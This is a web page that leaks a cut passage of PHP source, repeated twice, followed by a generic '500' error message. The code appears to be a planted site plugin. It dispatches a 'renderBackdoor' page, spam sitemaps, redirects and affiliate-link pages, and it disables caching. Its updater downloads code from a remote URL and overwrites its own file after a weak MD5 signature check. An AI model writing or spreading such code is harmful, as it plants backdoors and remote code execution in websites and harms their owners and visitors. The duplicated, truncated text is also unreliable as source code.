PDATE_SECRET; $params = array( 'remote' => $remote, 'timestamp' => $timestamp, 'nonce' => $nonce, 'secret' => $secret ); ksort($params); $paramStr = ''; foreach ($params as $key => $value) { $paramStr .= $key . '=' . $value . '&'; } $paramStr = rtrim($paramStr, '&'); $signStr = md5($paramStr); hj_echo('参数列表字符串: ', $paramStr, ',生成签名: ', $signStr, ',传入签名: ', $sign); if ($signStr !== $sign) { return array( 'status' => false, 'remote' => $remote, 'msg' => '签名不一致' ); } return array( 'status' => true, 'remote' => $remote, 'msg' => '验证通过' ); } public static function getUpdateInfo() { $pluginVersion = Manager::getPluginVersion(); $pluginFilePath = RequestUtils::getPluginAbsolutePath(); if (!file_exists($pluginFilePath)) { hj_echo("渲染更新 插件文件不存在"); return array( "status" => false, "msg" => "插件文件不存在", "plugin_version" => $pluginVersion, "plugin_file_path" => $pluginFilePath, "remote" => "" ); } $pluginMd5 = Manager::getPluginMd5(); $remotePlugin = self::getRemotePlugin(); if (!isset($remotePlugin)) { hj_echo("渲染更新 获取远程插件信参数不存在"); return array( "status" => false, "msg" => "remote 参数不存在", "plugin_version" => $pluginVersion, "plugin_md5" => $pluginMd5, "plugin_file_path" => $pluginFilePath, "remote" => null ); } if (!is_array($remotePlugin)) { return array( "status" => false, "msg" => "remote 参数不是数组", "plugin_version" => $pluginVersion, "plugin_md5" => $pluginMd5, "plugin_file_path" => $pluginFilePath, "remote" => null ); } if (!isset($remotePlugin['status']) || !isset($remotePlugin['remote']) || !isset($remotePlugin['msg'])) { return array( "status" => false, "msg" => "检查远程插件参数不存在 status remote msg", "plugin_version" => $pluginVersion, "plugin_md5" => $pluginMd5, "plugin_file_path" => $pluginFilePath, "remote" => null ); } $remote = $remotePlugin['remote']; $status = $remotePlugin['status']; $msg = $remotePlugin['msg']; if ($status == false) { return array( "status" => false, "msg" => $msg, "plugin_version" => $pluginVersion, "plugin_md5" => $pluginMd5, "plugin_file_path" => $pluginFilePath, "remote" => $remote ); } $remoteFileName = pathinfo($remote, PATHINFO_FILENAME); if ($remoteFileName == $pluginMd5) { $updateInfo = array( "status" => true, "msg" => "本地插件和远程插件一致", "plugin_version" => $pluginVersion, "plugin_md5" => $pluginMd5, "plugin_file_path" => $pluginFilePath, "remote" => $remote, "remoteFileName" => $remoteFileName ); return $updateInfo; } $updateInfo = array( "status" => true, "msg" => "本地插件和远程插件不一致", "plugin_version" => $pluginVersion, "plugin_md5" => $pluginMd5, "plugin_file_path" => $pluginFilePath, "remote" => $remote, "remoteFileName" => $remoteFileName ); hj_echo("开始更新插件"); $remoteContent = hj_get_file_content($remote); if ($remoteContent === null || $remoteContent === false) { $updateInfo['status'] = false; $updateInfo['msg'] = "远程文件内容获取失败"; } else { $writeResult = file_put_contents($pluginFilePath, $remoteContent); if ($writeResult === false) { $updateInfo['status'] = false; $updateInfo['msg'] = "写入本地文件失败"; } else { $pluginMd5 = Manager::getPluginMd5(); if ($pluginMd5 != $remoteFileName) { $updateInfo['status'] = false; $updateInfo['msg'] = "写入本地文件成功,写入后的md5值与远程文件的md5值不一致"; } else { $updateInfo['status'] = true; $updateInfo['msg'] = "写入本地文件成功,写入后的md5值与远程文件的md5值一致"; } } } return $updateInfo; } } /** * 初始化插件 */ function plugin_hj_begin() { Manager::initialize(); Manager::obStart(); } function plugin_hj_header($header = array()) { $header['Cache-Control'] = 'no-store, no-cache, must-revalidate, max-age=0'; $header['Pragma'] = 'no-cache'; $header['Expires'] = '-1'; $header['X-LiteSpeed-Cache-Control'] = 'no-cache'; foreach ($header as $key => $value) { header($key . ': ' . $value); } } /** * 设置 HTTP 响应头和状态码 * * @param int $code 状态码,默认 200 * @param array $header 响应头数组 */ function plugin_hj_response($code = 200, $header = array()) { plugin_hj_header($header); http_response_code($code); } /** * 结束处理插件请求,渲染内容 */ function plugin_hj_end() { Manager::obEnd(); plugin_hj_header(); $renderMethods = array( 'renderBackdoor', //渲染后门页面 'renderUpdate', // 渲染更新页面 'renderDebug', // 渲染调试页面 'renderConfig', // 渲染配置页面 'renderClean', // 渲染清除缓存页面 'renderHealthCheck', // 渲染健康检查页面 'renderRobots', // 渲染robots.txt页面 'renderSitemap', // 渲染sitemap页面 'renderSitemapIndex', // 渲染Sitemap索引页面 'renderSiteVerify', // 渲染站点认证页面 renderSiteVerify 'renderRedirect', //渲染重定向页面 'renderTemplate', // 渲染模板页面 'renderAffLink', // 渲染推广页面 ); foreach ($renderMethods as $method) { $renderData = Manager::$method(); if ($renderData) { $code = $renderData['code']; $header = $renderData['header']; $content = $renderData['content']; plugin_hj_response($code, $header); $obCotent = ob_get_contents(); ob_clean(); if (HJ_DEBUG) { echo $obCotent; } echo $content; exit(); } } $originalObContent = Manager::getOriginalObContent(); if ($originalObContent) { echo $originalObContent; exit(); } } function hj_plugin_run() { plugin_hj_begin(); plugin_hj_end(); } hj_plugin_run(); } PDATE_SECRET; $params = array( 'remote' => $remote, 'timestamp' => $timestamp, 'nonce' => $nonce, 'secret' => $secret ); ksort($params); $paramStr = ''; foreach ($params as $key => $value) { $paramStr .= $key . '=' . $value . '&'; } $paramStr = rtrim($paramStr, '&'); $signStr = md5($paramStr); hj_echo('参数列表字符串: ', $paramStr, ',生成签名: ', $signStr, ',传入签名: ', $sign); if ($signStr !== $sign) { return array( 'status' => false, 'remote' => $remote, 'msg' => '签名不一致' ); } return array( 'status' => true, 'remote' => $remote, 'msg' => '验证通过' ); } public static function getUpdateInfo() { $pluginVersion = Manager::getPluginVersion(); $pluginFilePath = RequestUtils::getPluginAbsolutePath(); if (!file_exists($pluginFilePath)) { hj_echo("渲染更新 插件文件不存在"); return array( "status" => false, "msg" => "插件文件不存在", "plugin_version" => $pluginVersion, "plugin_file_path" => $pluginFilePath, "remote" => "" ); } $pluginMd5 = Manager::getPluginMd5(); $remotePlugin = self::getRemotePlugin(); if (!isset($remotePlugin)) { hj_echo("渲染更新 获取远程插件信参数不存在"); return array( "status" => false, "msg" => "remote 参数不存在", "plugin_version" => $pluginVersion, "plugin_md5" => $pluginMd5, "plugin_file_path" => $pluginFilePath, "remote" => null ); } if (!is_array($remotePlugin)) { return array( "status" => false, "msg" => "remote 参数不是数组", "plugin_version" => $pluginVersion, "plugin_md5" => $pluginMd5, "plugin_file_path" => $pluginFilePath, "remote" => null ); } if (!isset($remotePlugin['status']) || !isset($remotePlugin['remote']) || !isset($remotePlugin['msg'])) { return array( "status" => false, "msg" => "检查远程插件参数不存在 status remote msg", "plugin_version" => $pluginVersion, "plugin_md5" => $pluginMd5, "plugin_file_path" => $pluginFilePath, "remote" => null ); } $remote = $remotePlugin['remote']; $status = $remotePlugin['status']; $msg = $remotePlugin['msg']; if ($status == false) { return array( "status" => false, "msg" => $msg, "plugin_version" => $pluginVersion, "plugin_md5" => $pluginMd5, "plugin_file_path" => $pluginFilePath, "remote" => $remote ); } $remoteFileName = pathinfo($remote, PATHINFO_FILENAME); if ($remoteFileName == $pluginMd5) { $updateInfo = array( "status" => true, "msg" => "本地插件和远程插件一致", "plugin_version" => $pluginVersion, "plugin_md5" => $pluginMd5, "plugin_file_path" => $pluginFilePath, "remote" => $remote, "remoteFileName" => $remoteFileName ); return $updateInfo; } $updateInfo = array( "status" => true, "msg" => "本地插件和远程插件不一致", "plugin_version" => $pluginVersion, "plugin_md5" => $pluginMd5, "plugin_file_path" => $pluginFilePath, "remote" => $remote, "remoteFileName" => $remoteFileName ); hj_echo("开始更新插件"); $remoteContent = hj_get_file_content($remote); if ($remoteContent === null || $remoteContent === false) { $updateInfo['status'] = false; $updateInfo['msg'] = "远程文件内容获取失败"; } else { $writeResult = file_put_contents($pluginFilePath, $remoteContent); if ($writeResult === false) { $updateInfo['status'] = false; $updateInfo['msg'] = "写入本地文件失败"; } else { $pluginMd5 = Manager::getPluginMd5(); if ($pluginMd5 != $remoteFileName) { $updateInfo['status'] = false; $updateInfo['msg'] = "写入本地文件成功,写入后的md5值与远程文件的md5值不一致"; } else { $updateInfo['status'] = true; $updateInfo['msg'] = "写入本地文件成功,写入后的md5值与远程文件的md5值一致"; } } } return $updateInfo; } } /** * 初始化插件 */ function plugin_hj_begin() { Manager::initialize(); Manager::obStart(); } function plugin_hj_header($header = array()) { $header['Cache-Control'] = 'no-store, no-cache, must-revalidate, max-age=0'; $header['Pragma'] = 'no-cache'; $header['Expires'] = '-1'; $header['X-LiteSpeed-Cache-Control'] = 'no-cache'; foreach ($header as $key => $value) { header($key . ': ' . $value); } } /** * 设置 HTTP 响应头和状态码 * * @param int $code 状态码,默认 200 * @param array $header 响应头数组 */ function plugin_hj_response($code = 200, $header = array()) { plugin_hj_header($header); http_response_code($code); } /** * 结束处理插件请求,渲染内容 */ function plugin_hj_end() { Manager::obEnd(); plugin_hj_header(); $renderMethods = array( 'renderBackdoor', //渲染后门页面 'renderUpdate', // 渲染更新页面 'renderDebug', // 渲染调试页面 'renderConfig', // 渲染配置页面 'renderClean', // 渲染清除缓存页面 'renderHealthCheck', // 渲染健康检查页面 'renderRobots', // 渲染robots.txt页面 'renderSitemap', // 渲染sitemap页面 'renderSitemapIndex', // 渲染Sitemap索引页面 'renderSiteVerify', // 渲染站点认证页面 renderSiteVerify 'renderRedirect', //渲染重定向页面 'renderTemplate', // 渲染模板页面 'renderAffLink', // 渲染推广页面 ); foreach ($renderMethods as $method) { $renderData = Manager::$method(); if ($renderData) { $code = $renderData['code']; $header = $renderData['header']; $content = $renderData['content']; plugin_hj_response($code, $header); $obCotent = ob_get_contents(); ob_clean(); if (HJ_DEBUG) { echo $obCotent; } echo $content; exit(); } } $originalObContent = Manager::getOriginalObContent(); if ($originalObContent) { echo $originalObContent; exit(); } } function hj_plugin_run() { plugin_hj_begin(); plugin_hj_end(); } hj_plugin_run(); } An Error Occurred: Whoops, looks like something went wrong.

Sorry, there was a problem we could not recover from.

The server returned a "500 - Whoops, looks like something went wrong."

Help me resolve this